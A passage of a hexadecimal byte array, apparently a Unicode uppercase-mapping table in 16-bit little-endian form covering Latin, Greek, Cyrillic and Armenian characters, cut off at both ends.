0x48, 0x00, 0x49, 0x00, 0x4A, 0x00, 0x4B, 0x00, 0x4C, 0x00, 0x4D, 0x00, 0x4E, 0x00, 0x4F, 0x00, + 0x50, 0x00, 0x51, 0x00, 0x52, 0x00, 0x53, 0x00, 0x54, 0x00, 0x55, 0x00, 0x56, 0x00, 0x57, 0x00, + 0x58, 0x00, 0x59, 0x00, 0x5A, 0x00, 0x5B, 0x00, 0x5C, 0x00, 0x5D, 0x00, 0x5E, 0x00, 0x5F, 0x00, + 0x60, 0x00, 0x41, 0x00, 0x42, 0x00, 0x43, 0x00, 0x44, 0x00, 0x45, 0x00, 0x46, 0x00, 0x47, 0x00, + 0x48, 0x00, 0x49, 0x00, 0x4A, 0x00, 0x4B, 0x00, 0x4C, 0x00, 0x4D, 0x00, 0x4E, 0x00, 0x4F, 0x00, + 0x50, 0x00, 0x51, 0x00, 0x52, 0x00, 0x53, 0x00, 0x54, 0x00, 0x55, 0x00, 0x56, 0x00, 0x57, 0x00, + 0x58, 0x00, 0x59, 0x00, 0x5A, 0x00, 0x7B, 0x00, 0x7C, 0x00, 0x7D, 0x00, 0x7E, 0x00, 0x7F, 0x00, + 0x80, 0x00, 0x81, 0x00, 0x82, 0x00, 0x83, 0x00, 0x84, 0x00, 0x85, 0x00, 0x86, 0x00, 0x87, 0x00, + 0x88, 0x00, 0x89, 0x00, 0x8A, 0x00, 0x8B, 0x00, 0x8C, 0x00, 0x8D, 0x00, 0x8E, 0x00, 0x8F, 0x00, + 0x90, 0x00, 0x91, 0x00, 0x92, 0x00, 0x93, 0x00, 0x94, 0x00, 0x95, 0x00, 0x96, 0x00, 0x97, 0x00, + 0x98, 0x00, 0x99, 0x00, 0x9A, 0x00, 0x9B, 0x00, 0x9C, 0x00, 0x9D, 0x00, 0x9E, 0x00, 0x9F, 0x00, + 0xA0, 0x00, 0xA1, 0x00, 0xA2, 0x00, 0xA3, 0x00, 0xA4, 0x00, 0xA5, 0x00, 0xA6, 0x00, 0xA7, 0x00, + 0xA8, 0x00, 0xA9, 0x00, 0xAA, 0x00, 0xAB, 0x00, 0xAC, 0x00, 0xAD, 0x00, 0xAE, 0x00, 0xAF, 0x00, + 0xB0, 0x00, 0xB1, 0x00, 0xB2, 0x00, 0xB3, 0x00, 0xB4, 0x00, 0xB5, 0x00, 0xB6, 0x00, 0xB7, 0x00, + 0xB8, 0x00, 0xB9, 0x00, 0xBA, 0x00, 0xBB, 0x00, 0xBC, 0x00, 0xBD, 0x00, 0xBE, 0x00, 0xBF, 0x00, + 0xC0, 0x00, 0xC1, 0x00, 0xC2, 0x00, 0xC3, 0x00, 0xC4, 0x00, 0xC5, 0x00, 0xC6, 0x00, 0xC7, 0x00, + 0xC8, 0x00, 0xC9, 0x00, 0xCA, 0x00, 0xCB, 0x00, 0xCC, 0x00, 0xCD, 0x00, 0xCE, 0x00, 0xCF, 0x00, + 0xD0, 0x00, 0xD1, 0x00, 0xD2, 0x00, 0xD3, 0x00, 0xD4, 0x00, 0xD5, 0x00, 0xD6, 0x00, 0xD7, 0x00, + 0xD8, 0x00, 0xD9, 0x00, 0xDA, 0x00, 0xDB, 0x00, 0xDC, 0x00, 0xDD, 0x00, 0xDE, 0x00, 0xDF, 0x00, + 0xC0, 0x00, 0xC1, 0x00, 0xC2, 0x00, 0xC3, 0x00, 0xC4, 0x00, 0xC5, 0x00, 0xC6, 0x00, 0xC7, 0x00, + 0xC8, 0x00, 0xC9, 0x00, 0xCA, 0x00, 0xCB, 0x00, 0xCC, 0x00, 0xCD, 0x00, 0xCE, 0x00, 0xCF, 0x00, + 0xD0, 0x00, 0xD1, 0x00, 0xD2, 0x00, 0xD3, 0x00, 0xD4, 0x00, 0xD5, 0x00, 0xD6, 0x00, 0xF7, 0x00, + 0xD8, 0x00, 0xD9, 0x00, 0xDA, 0x00, 0xDB, 0x00, 0xDC, 0x00, 0xDD, 0x00, 0xDE, 0x00, 0x78, 0x01, + 0x00, 0x01, 0x00, 0x01, 0x02, 0x01, 0x02, 0x01, 0x04, 0x01, 0x04, 0x01, 0x06, 0x01, 0x06, 0x01, + 0x08, 0x01, 0x08, 0x01, 0x0A, 0x01, 0x0A, 0x01, 0x0C, 0x01, 0x0C, 0x01, 0x0E, 0x01, 0x0E, 0x01, + 0x10, 0x01, 0x10, 0x01, 0x12, 0x01, 0x12, 0x01, 0x14, 0x01, 0x14, 0x01, 0x16, 0x01, 0x16, 0x01, + 0x18, 0x01, 0x18, 0x01, 0x1A, 0x01, 0x1A, 0x01, 0x1C, 0x01, 0x1C, 0x01, 0x1E, 0x01, 0x1E, 0x01, + 0x20, 0x01, 0x20, 0x01, 0x22, 0x01, 0x22, 0x01, 0x24, 0x01, 0x24, 0x01, 0x26, 0x01, 0x26, 0x01, + 0x28, 0x01, 0x28, 0x01, 0x2A, 0x01, 0x2A, 0x01, 0x2C, 0x01, 0x2C, 0x01, 0x2E, 0x01, 0x2E, 0x01, + 0x30, 0x01, 0x31, 0x01, 0x32, 0x01, 0x32, 0x01, 0x34, 0x01, 0x34, 0x01, 0x36, 0x01, 0x36, 0x01, + 0x38, 0x01, 0x39, 0x01, 0x39, 0x01, 0x3B, 0x01, 0x3B, 0x01, 0x3D, 0x01, 0x3D, 0x01, 0x3F, 0x01, + 0x3F, 0x01, 0x41, 0x01, 0x41, 0x01, 0x43, 0x01, 0x43, 0x01, 0x45, 0x01, 0x45, 0x01, 0x47, 0x01, + 0x47, 0x01, 0x49, 0x01, 0x4A, 0x01, 0x4A, 0x01, 0x4C, 0x01, 0x4C, 0x01, 0x4E, 0x01, 0x4E, 0x01, + 0x50, 0x01, 0x50, 0x01, 0x52, 0x01, 0x52, 0x01, 0x54, 0x01, 0x54, 0x01, 0x56, 0x01, 0x56, 0x01, + 0x58, 0x01, 0x58, 0x01, 0x5A, 0x01, 0x5A, 0x01, 0x5C, 0x01, 0x5C, 0x01, 0x5E, 0x01, 0x5E, 0x01, + 0x60, 0x01, 0x60, 0x01, 0x62, 0x01, 0x62, 0x01, 0x64, 0x01, 0x64, 0x01, 0x66, 0x01, 0x66, 0x01, + 0x68, 0x01, 0x68, 0x01, 0x6A, 0x01, 0x6A, 0x01, 0x6C, 0x01, 0x6C, 0x01, 0x6E, 0x01, 0x6E, 0x01, + 0x70, 0x01, 0x70, 0x01, 0x72, 0x01, 0x72, 0x01, 0x74, 0x01, 0x74, 0x01, 0x76, 0x01, 0x76, 0x01, + 0x78, 0x01, 0x79, 0x01, 0x79, 0x01, 0x7B, 0x01, 0x7B, 0x01, 0x7D, 0x01, 0x7D, 0x01, 0x7F, 0x01, + 0x43, 0x02, 0x81, 0x01, 0x82, 0x01, 0x82, 0x01, 0x84, 0x01, 0x84, 0x01, 0x86, 0x01, 0x87, 0x01, + 0x87, 0x01, 0x89, 0x01, 0x8A, 0x01, 0x8B, 0x01, 0x8B, 0x01, 0x8D, 0x01, 0x8E, 0x01, 0x8F, 0x01, + 0x90, 0x01, 0x91, 0x01, 0x91, 0x01, 0x93, 0x01, 0x94, 0x01, 0xF6, 0x01, 0x96, 0x01, 0x97, 0x01, + 0x98, 0x01, 0x98, 0x01, 0x3D, 0x02, 0x9B, 0x01, 0x9C, 0x01, 0x9D, 0x01, 0x20, 0x02, 0x9F, 0x01, + 0xA0, 0x01, 0xA0, 0x01, 0xA2, 0x01, 0xA2, 0x01, 0xA4, 0x01, 0xA4, 0x01, 0xA6, 0x01, 0xA7, 0x01, + 0xA7, 0x01, 0xA9, 0x01, 0xAA, 0x01, 0xAB, 0x01, 0xAC, 0x01, 0xAC, 0x01, 0xAE, 0x01, 0xAF, 0x01, + 0xAF, 0x01, 0xB1, 0x01, 0xB2, 0x01, 0xB3, 0x01, 0xB3, 0x01, 0xB5, 0x01, 0xB5, 0x01, 0xB7, 0x01, + 0xB8, 0x01, 0xB8, 0x01, 0xBA, 0x01, 0xBB, 0x01, 0xBC, 0x01, 0xBC, 0x01, 0xBE, 0x01, 0xF7, 0x01, + 0xC0, 0x01, 0xC1, 0x01, 0xC2, 0x01, 0xC3, 0x01, 0xC4, 0x01, 0xC5, 0x01, 0xC4, 0x01, 0xC7, 0x01, + 0xC8, 0x01, 0xC7, 0x01, 0xCA, 0x01, 0xCB, 0x01, 0xCA, 0x01, 0xCD, 0x01, 0xCD, 0x01, 0xCF, 0x01, + 0xCF, 0x01, 0xD1, 0x01, 0xD1, 0x01, 0xD3, 0x01, 0xD3, 0x01, 0xD5, 0x01, 0xD5, 0x01, 0xD7, 0x01, + 0xD7, 0x01, 0xD9, 0x01, 0xD9, 0x01, 0xDB, 0x01, 0xDB, 0x01, 0x8E, 0x01, 0xDE, 0x01, 0xDE, 0x01, + 0xE0, 0x01, 0xE0, 0x01, 0xE2, 0x01, 0xE2, 0x01, 0xE4, 0x01, 0xE4, 0x01, 0xE6, 0x01, 0xE6, 0x01, + 0xE8, 0x01, 0xE8, 0x01, 0xEA, 0x01, 0xEA, 0x01, 0xEC, 0x01, 0xEC, 0x01, 0xEE, 0x01, 0xEE, 0x01, + 0xF0, 0x01, 0xF1, 0x01, 0xF2, 0x01, 0xF1, 0x01, 0xF4, 0x01, 0xF4, 0x01, 0xF6, 0x01, 0xF7, 0x01, + 0xF8, 0x01, 0xF8, 0x01, 0xFA, 0x01, 0xFA, 0x01, 0xFC, 0x01, 0xFC, 0x01, 0xFE, 0x01, 0xFE, 0x01, + 0x00, 0x02, 0x00, 0x02, 0x02, 0x02, 0x02, 0x02, 0x04, 0x02, 0x04, 0x02, 0x06, 0x02, 0x06, 0x02, + 0x08, 0x02, 0x08, 0x02, 0x0A, 0x02, 0x0A, 0x02, 0x0C, 0x02, 0x0C, 0x02, 0x0E, 0x02, 0x0E, 0x02, + 0x10, 0x02, 0x10, 0x02, 0x12, 0x02, 0x12, 0x02, 0x14, 0x02, 0x14, 0x02, 0x16, 0x02, 0x16, 0x02, + 0x18, 0x02, 0x18, 0x02, 0x1A, 0x02, 0x1A, 0x02, 0x1C, 0x02, 0x1C, 0x02, 0x1E, 0x02, 0x1E, 0x02, + 0x20, 0x02, 0x21, 0x02, 0x22, 0x02, 0x22, 0x02, 0x24, 0x02, 0x24, 0x02, 0x26, 0x02, 0x26, 0x02, + 0x28, 0x02, 0x28, 0x02, 0x2A, 0x02, 0x2A, 0x02, 0x2C, 0x02, 0x2C, 0x02, 0x2E, 0x02, 0x2E, 0x02, + 0x30, 0x02, 0x30, 0x02, 0x32, 0x02, 0x32, 0x02, 0x34, 0x02, 0x35, 0x02, 0x36, 0x02, 0x37, 0x02, + 0x38, 0x02, 0x39, 0x02, 0x65, 0x2C, 0x3B, 0x02, 0x3B, 0x02, 0x3D, 0x02, 0x66, 0x2C, 0x3F, 0x02, + 0x40, 0x02, 0x41, 0x02, 0x41, 0x02, 0x43, 0x02, 0x44, 0x02, 0x45, 0x02, 0x46, 0x02, 0x46, 0x02, + 0x48, 0x02, 0x48, 0x02, 0x4A, 0x02, 0x4A, 0x02, 0x4C, 0x02, 0x4C, 0x02, 0x4E, 0x02, 0x4E, 0x02, + 0x50, 0x02, 0x51, 0x02, 0x52, 0x02, 0x81, 0x01, 0x86, 0x01, 0x55, 0x02, 0x89, 0x01, 0x8A, 0x01, + 0x58, 0x02, 0x8F, 0x01, 0x5A, 0x02, 0x90, 0x01, 0x5C, 0x02, 0x5D, 0x02, 0x5E, 0x02, 0x5F, 0x02, + 0x93, 0x01, 0x61, 0x02, 0x62, 0x02, 0x94, 0x01, 0x64, 0x02, 0x65, 0x02, 0x66, 0x02, 0x67, 0x02, + 0x97, 0x01, 0x96, 0x01, 0x6A, 0x02, 0x62, 0x2C, 0x6C, 0x02, 0x6D, 0x02, 0x6E, 0x02, 0x9C, 0x01, + 0x70, 0x02, 0x71, 0x02, 0x9D, 0x01, 0x73, 0x02, 0x74, 0x02, 0x9F, 0x01, 0x76, 0x02, 0x77, 0x02, + 0x78, 0x02, 0x79, 0x02, 0x7A, 0x02, 0x7B, 0x02, 0x7C, 0x02, 0x64, 0x2C, 0x7E, 0x02, 0x7F, 0x02, + 0xA6, 0x01, 0x81, 0x02, 0x82, 0x02, 0xA9, 0x01, 0x84, 0x02, 0x85, 0x02, 0x86, 0x02, 0x87, 0x02, + 0xAE, 0x01, 0x44, 0x02, 0xB1, 0x01, 0xB2, 0x01, 0x45, 0x02, 0x8D, 0x02, 0x8E, 0x02, 0x8F, 0x02, + 0x90, 0x02, 0x91, 0x02, 0xB7, 0x01, 0x93, 0x02, 0x94, 0x02, 0x95, 0x02, 0x96, 0x02, 0x97, 0x02, + 0x98, 0x02, 0x99, 0x02, 0x9A, 0x02, 0x9B, 0x02, 0x9C, 0x02, 0x9D, 0x02, 0x9E, 0x02, 0x9F, 0x02, + 0xA0, 0x02, 0xA1, 0x02, 0xA2, 0x02, 0xA3, 0x02, 0xA4, 0x02, 0xA5, 0x02, 0xA6, 0x02, 0xA7, 0x02, + 0xA8, 0x02, 0xA9, 0x02, 0xAA, 0x02, 0xAB, 0x02, 0xAC, 0x02, 0xAD, 0x02, 0xAE, 0x02, 0xAF, 0x02, + 0xB0, 0x02, 0xB1, 0x02, 0xB2, 0x02, 0xB3, 0x02, 0xB4, 0x02, 0xB5, 0x02, 0xB6, 0x02, 0xB7, 0x02, + 0xB8, 0x02, 0xB9, 0x02, 0xBA, 0x02, 0xBB, 0x02, 0xBC, 0x02, 0xBD, 0x02, 0xBE, 0x02, 0xBF, 0x02, + 0xC0, 0x02, 0xC1, 0x02, 0xC2, 0x02, 0xC3, 0x02, 0xC4, 0x02, 0xC5, 0x02, 0xC6, 0x02, 0xC7, 0x02, + 0xC8, 0x02, 0xC9, 0x02, 0xCA, 0x02, 0xCB, 0x02, 0xCC, 0x02, 0xCD, 0x02, 0xCE, 0x02, 0xCF, 0x02, + 0xD0, 0x02, 0xD1, 0x02, 0xD2, 0x02, 0xD3, 0x02, 0xD4, 0x02, 0xD5, 0x02, 0xD6, 0x02, 0xD7, 0x02, + 0xD8, 0x02, 0xD9, 0x02, 0xDA, 0x02, 0xDB, 0x02, 0xDC, 0x02, 0xDD, 0x02, 0xDE, 0x02, 0xDF, 0x02, + 0xE0, 0x02, 0xE1, 0x02, 0xE2, 0x02, 0xE3, 0x02, 0xE4, 0x02, 0xE5, 0x02, 0xE6, 0x02, 0xE7, 0x02, + 0xE8, 0x02, 0xE9, 0x02, 0xEA, 0x02, 0xEB, 0x02, 0xEC, 0x02, 0xED, 0x02, 0xEE, 0x02, 0xEF, 0x02, + 0xF0, 0x02, 0xF1, 0x02, 0xF2, 0x02, 0xF3, 0x02, 0xF4, 0x02, 0xF5, 0x02, 0xF6, 0x02, 0xF7, 0x02, + 0xF8, 0x02, 0xF9, 0x02, 0xFA, 0x02, 0xFB, 0x02, 0xFC, 0x02, 0xFD, 0x02, 0xFE, 0x02, 0xFF, 0x02, + 0x00, 0x03, 0x01, 0x03, 0x02, 0x03, 0x03, 0x03, 0x04, 0x03, 0x05, 0x03, 0x06, 0x03, 0x07, 0x03, + 0x08, 0x03, 0x09, 0x03, 0x0A, 0x03, 0x0B, 0x03, 0x0C, 0x03, 0x0D, 0x03, 0x0E, 0x03, 0x0F, 0x03, + 0x10, 0x03, 0x11, 0x03, 0x12, 0x03, 0x13, 0x03, 0x14, 0x03, 0x15, 0x03, 0x16, 0x03, 0x17, 0x03, + 0x18, 0x03, 0x19, 0x03, 0x1A, 0x03, 0x1B, 0x03, 0x1C, 0x03, 0x1D, 0x03, 0x1E, 0x03, 0x1F, 0x03, + 0x20, 0x03, 0x21, 0x03, 0x22, 0x03, 0x23, 0x03, 0x24, 0x03, 0x25, 0x03, 0x26, 0x03, 0x27, 0x03, + 0x28, 0x03, 0x29, 0x03, 0x2A, 0x03, 0x2B, 0x03, 0x2C, 0x03, 0x2D, 0x03, 0x2E, 0x03, 0x2F, 0x03, + 0x30, 0x03, 0x31, 0x03, 0x32, 0x03, 0x33, 0x03, 0x34, 0x03, 0x35, 0x03, 0x36, 0x03, 0x37, 0x03, + 0x38, 0x03, 0x39, 0x03, 0x3A, 0x03, 0x3B, 0x03, 0x3C, 0x03, 0x3D, 0x03, 0x3E, 0x03, 0x3F, 0x03, + 0x40, 0x03, 0x41, 0x03, 0x42, 0x03, 0x43, 0x03, 0x44, 0x03, 0x45, 0x03, 0x46, 0x03, 0x47, 0x03, + 0x48, 0x03, 0x49, 0x03, 0x4A, 0x03, 0x4B, 0x03, 0x4C, 0x03, 0x4D, 0x03, 0x4E, 0x03, 0x4F, 0x03, + 0x50, 0x03, 0x51, 0x03, 0x52, 0x03, 0x53, 0x03, 0x54, 0x03, 0x55, 0x03, 0x56, 0x03, 0x57, 0x03, + 0x58, 0x03, 0x59, 0x03, 0x5A, 0x03, 0x5B, 0x03, 0x5C, 0x03, 0x5D, 0x03, 0x5E, 0x03, 0x5F, 0x03, + 0x60, 0x03, 0x61, 0x03, 0x62, 0x03, 0x63, 0x03, 0x64, 0x03, 0x65, 0x03, 0x66, 0x03, 0x67, 0x03, + 0x68, 0x03, 0x69, 0x03, 0x6A, 0x03, 0x6B, 0x03, 0x6C, 0x03, 0x6D, 0x03, 0x6E, 0x03, 0x6F, 0x03, + 0x70, 0x03, 0x71, 0x03, 0x72, 0x03, 0x73, 0x03, 0x74, 0x03, 0x75, 0x03, 0x76, 0x03, 0x77, 0x03, + 0x78, 0x03, 0x79, 0x03, 0x7A, 0x03, 0xFD, 0x03, 0xFE, 0x03, 0xFF, 0x03, 0x7E, 0x03, 0x7F, 0x03, + 0x80, 0x03, 0x81, 0x03, 0x82, 0x03, 0x83, 0x03, 0x84, 0x03, 0x85, 0x03, 0x86, 0x03, 0x87, 0x03, + 0x88, 0x03, 0x89, 0x03, 0x8A, 0x03, 0x8B, 0x03, 0x8C, 0x03, 0x8D, 0x03, 0x8E, 0x03, 0x8F, 0x03, + 0x90, 0x03, 0x91, 0x03, 0x92, 0x03, 0x93, 0x03, 0x94, 0x03, 0x95, 0x03, 0x96, 0x03, 0x97, 0x03, + 0x98, 0x03, 0x99, 0x03, 0x9A, 0x03, 0x9B, 0x03, 0x9C, 0x03, 0x9D, 0x03, 0x9E, 0x03, 0x9F, 0x03, + 0xA0, 0x03, 0xA1, 0x03, 0xA2, 0x03, 0xA3, 0x03, 0xA4, 0x03, 0xA5, 0x03, 0xA6, 0x03, 0xA7, 0x03, + 0xA8, 0x03, 0xA9, 0x03, 0xAA, 0x03, 0xAB, 0x03, 0x86, 0x03, 0x88, 0x03, 0x89, 0x03, 0x8A, 0x03, + 0xB0, 0x03, 0x91, 0x03, 0x92, 0x03, 0x93, 0x03, 0x94, 0x03, 0x95, 0x03, 0x96, 0x03, 0x97, 0x03, + 0x98, 0x03, 0x99, 0x03, 0x9A, 0x03, 0x9B, 0x03, 0x9C, 0x03, 0x9D, 0x03, 0x9E, 0x03, 0x9F, 0x03, + 0xA0, 0x03, 0xA1, 0x03, 0xA3, 0x03, 0xA3, 0x03, 0xA4, 0x03, 0xA5, 0x03, 0xA6, 0x03, 0xA7, 0x03, + 0xA8, 0x03, 0xA9, 0x03, 0xAA, 0x03, 0xAB, 0x03, 0x8C, 0x03, 0x8E, 0x03, 0x8F, 0x03, 0xCF, 0x03, + 0xD0, 0x03, 0xD1, 0x03, 0xD2, 0x03, 0xD3, 0x03, 0xD4, 0x03, 0xD5, 0x03, 0xD6, 0x03, 0xD7, 0x03, + 0xD8, 0x03, 0xD8, 0x03, 0xDA, 0x03, 0xDA, 0x03, 0xDC, 0x03, 0xDC, 0x03, 0xDE, 0x03, 0xDE, 0x03, + 0xE0, 0x03, 0xE0, 0x03, 0xE2, 0x03, 0xE2, 0x03, 0xE4, 0x03, 0xE4, 0x03, 0xE6, 0x03, 0xE6, 0x03, + 0xE8, 0x03, 0xE8, 0x03, 0xEA, 0x03, 0xEA, 0x03, 0xEC, 0x03, 0xEC, 0x03, 0xEE, 0x03, 0xEE, 0x03, + 0xF0, 0x03, 0xF1, 0x03, 0xF9, 0x03, 0xF3, 0x03, 0xF4, 0x03, 0xF5, 0x03, 0xF6, 0x03, 0xF7, 0x03, + 0xF7, 0x03, 0xF9, 0x03, 0xFA, 0x03, 0xFA, 0x03, 0xFC, 0x03, 0xFD, 0x03, 0xFE, 0x03, 0xFF, 0x03, + 0x00, 0x04, 0x01, 0x04, 0x02, 0x04, 0x03, 0x04, 0x04, 0x04, 0x05, 0x04, 0x06, 0x04, 0x07, 0x04, + 0x08, 0x04, 0x09, 0x04, 0x0A, 0x04, 0x0B, 0x04, 0x0C, 0x04, 0x0D, 0x04, 0x0E, 0x04, 0x0F, 0x04, + 0x10, 0x04, 0x11, 0x04, 0x12, 0x04, 0x13, 0x04, 0x14, 0x04, 0x15, 0x04, 0x16, 0x04, 0x17, 0x04, + 0x18, 0x04, 0x19, 0x04, 0x1A, 0x04, 0x1B, 0x04, 0x1C, 0x04, 0x1D, 0x04, 0x1E, 0x04, 0x1F, 0x04, + 0x20, 0x04, 0x21, 0x04, 0x22, 0x04, 0x23, 0x04, 0x24, 0x04, 0x25, 0x04, 0x26, 0x04, 0x27, 0x04, + 0x28, 0x04, 0x29, 0x04, 0x2A, 0x04, 0x2B, 0x04, 0x2C, 0x04, 0x2D, 0x04, 0x2E, 0x04, 0x2F, 0x04, + 0x10, 0x04, 0x11, 0x04, 0x12, 0x04, 0x13, 0x04, 0x14, 0x04, 0x15, 0x04, 0x16, 0x04, 0x17, 0x04, + 0x18, 0x04, 0x19, 0x04, 0x1A, 0x04, 0x1B, 0x04, 0x1C, 0x04, 0x1D, 0x04, 0x1E, 0x04, 0x1F, 0x04, + 0x20, 0x04, 0x21, 0x04, 0x22, 0x04, 0x23, 0x04, 0x24, 0x04, 0x25, 0x04, 0x26, 0x04, 0x27, 0x04, + 0x28, 0x04, 0x29, 0x04, 0x2A, 0x04, 0x2B, 0x04, 0x2C, 0x04, 0x2D, 0x04, 0x2E, 0x04, 0x2F, 0x04, + 0x00, 0x04, 0x01, 0x04, 0x02, 0x04, 0x03, 0x04, 0x04, 0x04, 0x05, 0x04, 0x06, 0x04, 0x07, 0x04, + 0x08, 0x04, 0x09, 0x04, 0x0A, 0x04, 0x0B, 0x04, 0x0C, 0x04, 0x0D, 0x04, 0x0E, 0x04, 0x0F, 0x04, + 0x60, 0x04, 0x60, 0x04, 0x62, 0x04, 0x62, 0x04, 0x64, 0x04, 0x64, 0x04, 0x66, 0x04, 0x66, 0x04, + 0x68, 0x04, 0x68, 0x04, 0x6A, 0x04, 0x6A, 0x04, 0x6C, 0x04, 0x6C, 0x04, 0x6E, 0x04, 0x6E, 0x04, + 0x70, 0x04, 0x70, 0x04, 0x72, 0x04, 0x72, 0x04, 0x74, 0x04, 0x74, 0x04, 0x76, 0x04, 0x76, 0x04, + 0x78, 0x04, 0x78, 0x04, 0x7A, 0x04, 0x7A, 0x04, 0x7C, 0x04, 0x7C, 0x04, 0x7E, 0x04, 0x7E, 0x04, + 0x80, 0x04, 0x80, 0x04, 0x82, 0x04, 0x83, 0x04, 0x84, 0x04, 0x85, 0x04, 0x86, 0x04, 0x87, 0x04, + 0x88, 0x04, 0x89, 0x04, 0x8A, 0x04, 0x8A, 0x04, 0x8C, 0x04, 0x8C, 0x04, 0x8E, 0x04, 0x8E, 0x04, + 0x90, 0x04, 0x90, 0x04, 0x92, 0x04, 0x92, 0x04, 0x94, 0x04, 0x94, 0x04, 0x96, 0x04, 0x96, 0x04, + 0x98, 0x04, 0x98, 0x04, 0x9A, 0x04, 0x9A, 0x04, 0x9C, 0x04, 0x9C, 0x04, 0x9E, 0x04, 0x9E, 0x04, + 0xA0, 0x04, 0xA0, 0x04, 0xA2, 0x04, 0xA2, 0x04, 0xA4, 0x04, 0xA4, 0x04, 0xA6, 0x04, 0xA6, 0x04, + 0xA8, 0x04, 0xA8, 0x04, 0xAA, 0x04, 0xAA, 0x04, 0xAC, 0x04, 0xAC, 0x04, 0xAE, 0x04, 0xAE, 0x04, + 0xB0, 0x04, 0xB0, 0x04, 0xB2, 0x04, 0xB2, 0x04, 0xB4, 0x04, 0xB4, 0x04, 0xB6, 0x04, 0xB6, 0x04, + 0xB8, 0x04, 0xB8, 0x04, 0xBA, 0x04, 0xBA, 0x04, 0xBC, 0x04, 0xBC, 0x04, 0xBE, 0x04, 0xBE, 0x04, + 0xC0, 0x04, 0xC1, 0x04, 0xC1, 0x04, 0xC3, 0x04, 0xC3, 0x04, 0xC5, 0x04, 0xC5, 0x04, 0xC7, 0x04, + 0xC7, 0x04, 0xC9, 0x04, 0xC9, 0x04, 0xCB, 0x04, 0xCB, 0x04, 0xCD, 0x04, 0xCD, 0x04, 0xC0, 0x04, + 0xD0, 0x04, 0xD0, 0x04, 0xD2, 0x04, 0xD2, 0x04, 0xD4, 0x04, 0xD4, 0x04, 0xD6, 0x04, 0xD6, 0x04, + 0xD8, 0x04, 0xD8, 0x04, 0xDA, 0x04, 0xDA, 0x04, 0xDC, 0x04, 0xDC, 0x04, 0xDE, 0x04, 0xDE, 0x04, + 0xE0, 0x04, 0xE0, 0x04, 0xE2, 0x04, 0xE2, 0x04, 0xE4, 0x04, 0xE4, 0x04, 0xE6, 0x04, 0xE6, 0x04, + 0xE8, 0x04, 0xE8, 0x04, 0xEA, 0x04, 0xEA, 0x04, 0xEC, 0x04, 0xEC, 0x04, 0xEE, 0x04, 0xEE, 0x04, + 0xF0, 0x04, 0xF0, 0x04, 0xF2, 0x04, 0xF2, 0x04, 0xF4, 0x04, 0xF4, 0x04, 0xF6, 0x04, 0xF6, 0x04, + 0xF8, 0x04, 0xF8, 0x04, 0xFA, 0x04, 0xFA, 0x04, 0xFC, 0x04, 0xFC, 0x04, 0xFE, 0x04, 0xFE, 0x04, + 0x00, 0x05, 0x00, 0x05, 0x02, 0x05, 0x02, 0x05, 0x04, 0x05, 0x04, 0x05, 0x06, 0x05, 0x06, 0x05, + 0x08, 0x05, 0x08, 0x05, 0x0A, 0x05, 0x0A, 0x05, 0x0C, 0x05, 0x0C, 0x05, 0x0E, 0x05, 0x0E, 0x05, + 0x10, 0x05, 0x10, 0x05, 0x12, 0x05, 0x12, 0x05, 0x14, 0x05, 0x15, 0x05, 0x16, 0x05, 0x17, 0x05, + 0x18, 0x05, 0x19, 0x05, 0x1A, 0x05, 0x1B, 0x05, 0x1C, 0x05, 0x1D, 0x05, 0x1E, 0x05, 0x1F, 0x05, + 0x20, 0x05, 0x21, 0x05, 0x22, 0x05, 0x23, 0x05, 0x24, 0x05, 0x25, 0x05, 0x26, 0x05, 0x27, 0x05, + 0x28, 0x05, 0x29, 0x05, 0x2A, 0x05, 0x2B, 0x05, 0x2C, 0x05, 0x2D, 0x05, 0x2E, 0x05, 0x2F, 0x05, + 0x30, 0x05, 0x31, 0x05, 0x32, 0x05, 0x33, 0x05, 0x34, 0x05, 0x35, 0x05, 0x36, 0x05, 0x37, 0x05, + 0x38, 0x05, 0x39, 0x05, 0x3A, 0x05, 0x3B, 0x05, 0x3C, 0x05, 0x3D, 0x05, 0x3E, 0x05, 0x3F, 0x05, + 0x40, 0x05, 0x41, 0x05, 0x42, 0x05, 0x43, 0x05, 0x44, 0x05, 0x45, 0x05, 0x46, 0x05, 0x47, 0x05, + 0x48, 0x05, 0x49, 0x05, 0x4A, 0x05, 0x4B, 0x05, 0x4C, 0x05, 0x4D, 0x05, 0x4E, 0x05, 0x4F, 0x05, + 0x50, 0x05, 0x51, 0x05, 0x52, 0x05, 0x53, 0x05, 0x54, 0x05, 0x55, 0x05, 0x56, 0x05, 0x57, 0x05, + 0x58, 0x05, 0x59, 0x05, 0x5A, 0x05, 0x5B, 0x05, 0x5C, 0x05, 0x5D, 0x05, 0x5E, 0x05, 0x5F, 0x05, + 0x60, 0x05, 0x31, 0x05, 0x32, 0x05, 0x33, 0x05, 0x34, 0x05, 0x35, 0x05, 0x36, 0x05, 0x37, 0x05, + 0x38, 0x05, 0x39, 0x05, 0x3A, 0x05, 0x3B, 0x05, 0x3C, 0x05, 0x3D, 0x05, 0x3E, 0x05, 0x3F, 0x05, + 0x40, 0x05, 0x41, 0x05, 0x42, 0x05, 0x43, 0x05, 0x44, 0x05, 0x45, 0x05, 0x46, 0x05, 0x47, 0x05, + 0x48, 0x05, 0x49, 0x05, 0x4A, 0x05, 0x4B, 0x05, 0x4C, 0x05, 0x4D, 0x05, 0x4E, 0x05, 0x4F, 0x05, + 0x50, 0x05, 0x51, 0x05, 0x52, 0x05, 0x53, 0x05, 0x54, 0x05, 0x55, 0x05, 0x56, 0x05, 0xFF, 0xFF, + 0xF6, 0x17, 0x63, 0x2C, 0x7E, 0x1D, 0x7F, 0x1D, 0x80, 0x1D, 0x81, 0x1D, 0x82, 0x1D, 0x83, 0x1D, + 0x84, 0x1D, 0x85, 0x1D, 0x86, 0x1D, 0x87, 0x1D, 0x88, 0x1D, 0x89, 0x1D, 0x8A, 0x1D, 0x8B, 0x1D, + 0x8C, 0x1D, 0x8D, 0x1D, 0x8E, 0x1D, 0x8F, 0x1D, 0x90, 0x1D, 0x91, 0x1D, 0x92, 0x1D, 0x93, 0x1D, + 0x94, 0x1D, 0x95, 0x1D, 0x96, 0x1D, 0x97, 0x1D, 0x98, 0x1D, 0x99, 0x1D, 0x9A, 0x1D, 0x9B, 0x1D, + 0x9C, 0x1D, 0x9D, 0x1D, 0x9E, 0x1D, 0x9F, 0x1D, 0xA0, 0x1D, 0xA1, 0x1D, 0xA2, 0x1D, 0xA3, 0x1D, + 0xA4, 0x1D, 0xA5, 0x1D, 0xA6, 0x1D, 0xA7, 0x1D, 0xA8, 0x1D, 0xA9, 0x1D, 0xAA, 0x1D, 0xAB, 0x1D, + 0xAC, 0x1D, 0xAD, 0x1D, 0xAE, 